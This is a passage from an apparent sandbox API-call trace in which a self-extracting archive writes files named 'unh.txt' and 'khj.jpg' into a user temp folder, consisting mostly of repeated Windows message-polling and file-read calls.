hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.051] GetTickCount () returned 0x1fa26 [0068.051] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.051] ReadFile (in: hFile=0x1c, lpBuffer=0x270437, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270437*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.051] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.051] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.051] GetTickCount () returned 0x1fa26 [0068.051] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.051] ReadFile (in: hFile=0x1c, lpBuffer=0x270437, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270437*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.051] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.052] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.052] GetTickCount () returned 0x1fa26 [0068.052] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.052] ReadFile (in: hFile=0x1c, lpBuffer=0x270437, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270437*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.052] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.052] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.052] GetTickCount () returned 0x1fa26 [0068.052] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.052] ReadFile (in: hFile=0x1c, lpBuffer=0x270437, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270437*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.052] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.052] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.052] GetTickCount () returned 0x1fa26 [0068.052] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.052] ReadFile (in: hFile=0x1c, lpBuffer=0x270437, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270437*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.052] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.052] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.052] GetTickCount () returned 0x1fa26 [0068.052] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.052] ReadFile (in: hFile=0x1c, lpBuffer=0x270437, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270437*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.052] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.052] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.052] GetTickCount () returned 0x1fa26 [0068.052] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.052] ReadFile (in: hFile=0x1c, lpBuffer=0x270437, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270437*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.052] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.052] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.052] GetTickCount () returned 0x1fa26 [0068.052] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.052] ReadFile (in: hFile=0x1c, lpBuffer=0x270437, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270437*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.052] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.052] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.052] GetTickCount () returned 0x1fa26 [0068.052] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.052] ReadFile (in: hFile=0x1c, lpBuffer=0x270437, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270437*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.052] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.052] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.052] GetTickCount () returned 0x1fa26 [0068.052] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.052] ReadFile (in: hFile=0x1c, lpBuffer=0x270437, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270437*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.052] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.052] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.052] GetTickCount () returned 0x1fa26 [0068.052] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.052] ReadFile (in: hFile=0x1c, lpBuffer=0x270437, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270437*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.052] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.052] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.052] GetTickCount () returned 0x1fa26 [0068.052] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.053] ReadFile (in: hFile=0x1c, lpBuffer=0x270437, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270437*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.053] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.053] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.053] GetTickCount () returned 0x1fa26 [0068.053] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.053] ReadFile (in: hFile=0x1c, lpBuffer=0x270437, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270437*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.053] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.053] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.053] GetTickCount () returned 0x1fa26 [0068.053] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.053] ReadFile (in: hFile=0x1c, lpBuffer=0x270437, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270437*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.053] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.053] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.053] GetTickCount () returned 0x1fa26 [0068.053] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.053] ReadFile (in: hFile=0x1c, lpBuffer=0x270437, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270437*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.053] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.053] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.053] GetTickCount () returned 0x1fa26 [0068.053] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.053] ReadFile (in: hFile=0x1c, lpBuffer=0x270437, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270437*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.053] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.053] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.053] GetTickCount () returned 0x1fa26 [0068.053] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.053] ReadFile (in: hFile=0x1c, lpBuffer=0x270437, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270437*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.053] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.053] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.053] GetTickCount () returned 0x1fa26 [0068.053] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.053] ReadFile (in: hFile=0x1c, lpBuffer=0x270437, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270437*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.053] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.053] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.053] GetTickCount () returned 0x1fa26 [0068.053] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.053] ReadFile (in: hFile=0x1c, lpBuffer=0x270437, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270437*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.053] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.053] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.053] GetTickCount () returned 0x1fa26 [0068.053] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.053] ReadFile (in: hFile=0x1c, lpBuffer=0x270437, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270437*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.053] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.053] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.053] GetTickCount () returned 0x1fa26 [0068.053] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.053] ReadFile (in: hFile=0x1c, lpBuffer=0x270437, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270437*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.053] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.054] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.054] GetTickCount () returned 0x1fa26 [0068.054] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.054] ReadFile (in: hFile=0x1c, lpBuffer=0x270437, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270437*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.054] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.054] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.054] GetTickCount () returned 0x1fa26 [0068.054] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.054] WriteFile (in: hFile=0x138, lpBuffer=0x2e40020*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2e40020*, lpNumberOfBytesWritten=0x171564*=0x210, lpOverlapped=0x0) returned 1 [0068.054] GetTickCount () returned 0x1fa26 [0068.055] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0068.055] SetFilePointer (in: hFile=0x1c, lDistanceToMove=860874, lpDistanceToMoveHigh=0x1715e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715e8*=0) returned 0xd22ca [0068.055] SystemTimeToFileTime (in: lpSystemTime=0x1715b8, lpFileTime=0x1715c8 | out: lpFileTime=0x1715c8) returned 1 [0068.055] LocalFileTimeToFileTime (in: lpLocalFileTime=0x1715c8, lpFileTime=0x1715f8 | out: lpFileTime=0x1715f8) returned 1 [0068.055] SetFileTime (hFile=0x138, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1715f8) returned 1 [0068.055] CloseHandle (hObject=0x138) returned 1 [0068.055] SetFileAttributesA (lpFileName="unh.txt", dwFileAttributes=0x20) returned 1 [0068.055] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x17410c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17410c*=0) returned 0xd22ca [0068.055] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x1740c4*=0x7, lpOverlapped=0x0) returned 1 [0068.056] ReadFile (in: hFile=0x1c, lpBuffer=0x25a8cf, nNumberOfBytesToRead=0x25, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x25a8cf*, lpNumberOfBytesRead=0x1740c4*=0x25, lpOverlapped=0x0) returned 1 [0068.056] OemToCharA (in: pSrc="khj.jpg", pDst=0x179cc0 | out: pDst="khj.jpg") returned 1 [0068.056] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="khj.jpg", cchCount2=1) returned 1 [0068.056] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="__rar_", cchCount1=6, lpString2="khj.jpg", cchCount2=6) returned 1 [0068.056] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="khj.jpg", cchCount2=-1) returned 1 [0068.056] SetFilePointer (in: hFile=0x1c, lDistanceToMove=860918, lpDistanceToMoveHigh=0x1715ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715ec*=0) returned 0xd22f6 [0068.056] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x174aec, cbMultiByte=-1, lpWideCharStr=0x170dfc, cchWideChar=1024 | out: lpWideCharStr="khj.jpg") returned 8 [0068.056] LoadStringW (in: hInstance=0x400000, uID=0x65, lpBuffer=0x418eb8, cchBufferMax=512 | out: lpBuffer="Extracting %s") returned 0xd [0068.056] wvsprintfW (in: param_1=0x1701fc, param_2="Extracting %s", arglist=0x1701f8 | out: param_1="Extracting khj.jpg") returned 18 [0068.056] SetDlgItemTextW (hDlg=0x20216, nIDDlgItem=101, lpString="Extracting khj.jpg") returned 1 [0068.056] PeekMessageW (in: lpMsg=0x1701d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1701d8) returned 0 [0068.056] OemToCharBuffA (in: lpszSrc="k", lpszDst=0x17160c, cchDstLength=0x1 | out: lpszDst="k") returned 1 [0068.056] CharToOemBuffA (in: lpszSrc="K", lpszDst=0x171600, cchDstLength=0x1 | out: lpszDst="K") returned 1 [0068.056] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x181870, cbMultiByte=-1, lpWideCharStr=0x170b94, cchWideChar=16777216 | out: lpWideCharStr="khj.jpg") returned 8 [0068.056] FindFirstFileW (in: lpFileName="khj.jpg", lpFindFileData=0x171394 | out: lpFindFileData=0x171394) returned 0xffffffff [0068.056] GetLastError () returned 0x2 [0068.056] GetFileAttributesA (lpFileName="khj.jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\khj.jpg")) returned 0xffffffff [0068.056] CreateFileA (lpFileName="khj.jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\khj.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0068.057] GetFileType (hFile=0x138) returned 0x1 [0068.057] SetFilePointer (in: hFile=0x138, lDistanceToMove=536, lpDistanceToMoveHigh=0x1715f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715f0*=0) returned 0x218 [0068.057] SetEndOfFile (hFile=0x138) returned 1 [0068.057] SetFilePointer (in: hFile=0x138, lDistanceToMove=0, lpDistanceToMoveHigh=0x1715dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715dc*=0) returned 0x0 [0068.057] ReadFile (in: hFile=0x1c, lpBuffer=0x270288, nNumberOfBytesToRead=0x1b9, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270288*, lpNumberOfBytesRead=0x171578*=0x1b9, lpOverlapped=0x0) returned 1 [0068.057] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.057] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.057] GetTickCount () returned 0x1fa26 [0068.057] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.057] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.057] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.057] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.057] GetTickCount () returned 0x1fa26 [0068.057] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.057] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.057] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.057] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.057] GetTickCount () returned 0x1fa26 [0068.057] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.057] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.057] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.057] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.057] GetTickCount () returned 0x1fa26 [0068.057] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.057] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.057] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.057] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.057] GetTickCount () returned 0x1fa26 [0068.057] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.057] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.057] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.057] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.057] GetTickCount () returned 0x1fa26 [0068.057] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.057] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.057] SendDlgItemMessageW (hDlg=0x20216, 